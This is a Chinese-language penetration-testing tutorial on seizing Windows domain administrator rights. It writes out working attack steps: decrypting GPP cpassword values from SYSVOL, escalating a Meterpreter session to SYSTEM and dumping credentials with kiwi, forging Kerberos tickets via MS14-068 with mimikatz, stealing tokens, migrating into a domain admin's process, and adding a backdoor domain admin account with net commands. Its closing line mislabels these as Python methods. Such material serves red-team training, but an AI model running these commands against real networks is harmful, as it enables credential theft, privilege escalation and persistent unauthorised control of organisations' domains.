在大多数情况下,攻击者可以通过定位域管理员所登录的服务器,利用漏洞获取服务器system权限,找到域管理的账号、进程或是身份验证令牌,从而获取域管理员权限
SYSVOL是域内的共享文件夹,用来存放登录脚本、组策略脚本等信息。当域管理员通过组策略修改密码时,在脚本中引入用户密码,就可能导致安全问题。
(1)访问SYSVOL共享文件夹,搜索包含“cpassword”的XML文件,获取AES加密的密码。
(2)使用kali自带的gpp-decrypt进行破解,从而获取域账号密码,直接登录域管理员账号获取访问权限。
使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。提到system有两个方法,一是当前的权限是administrator用户,二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限。
1 2 3 4 5 6 | meterpreter > getuid Server username: BYPASS-E97BA3FC\Administrator meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM |
加载kiwi模块
1 | load kiwi |
列举系统中的明文密码
1 | creds_all |
MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构造特定的请求包来达到提升权限的目的。
攻击流程:
第一步:利用MS14-068伪造生成TGT
1 | MS14-068.exe -u bypass@test.com -p abc123! -s S-1-5-21-735015318-3972860336-672499796 -d dc.test.com |
第二步:利用mimikatz将工具得到的TGT票据写入内存,创建缓存证书
1 | mimikatz#kerberos::ptc TGT_bypass@test.com.ccache |
第三步:获取域管理员权限。创建一个 test 账号并加入域管理员组,从而随时可以登录域控主机进行操作。
1 2 3 4 5 6 7 | PsExec.exe \\dc cmd.exe / / 添加test用户 net user test abc123! / add / domain / / 把 test 用户添加进域管理员组 net group "domain admins" test / add / domain / / 查看域管理员 net group "domain admins" / domain |
当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限。
1、入侵域管理员所在的服务器,窃取域管理员的令牌,从而控制整个域。
2、直接在meterpreter shell上执行添加域管理员
1 2 | add_user test abc123! - h 域控的IP地址 add_group_user "Domain Admins" test - h 域控IP地址 |
入侵了域管理员所登录的服务器,将进程迁移到域管理员所运行的进程,就可以获得域管理员权限。
1、获取域管理员列表
1 | net group "Domain Admins" / domain |
2、利用ps找到域管理员(TEST\bypass)所运行的进程,然后将shell进程迁移到域管理员所运行的进程中,成功后就获得了域管理员权限。如下图所示:
3、输入shell命令获取OS shell,在本机上使用Windows命令添加新的域管理员:
1 2 3 4 | / / 添加test用户 net user test admin@ 123 / add / domain / / 把 test 用户添加进域管理员组 net group "domain admins" test / add / domain |
4、成功添加了域管理员账号test。
以上就是Python安全获取域管理员权限几种方式操作示例的详细内容,更多关于Python获取域管理员权限方式的资料请关注脚本之家其它相关文章!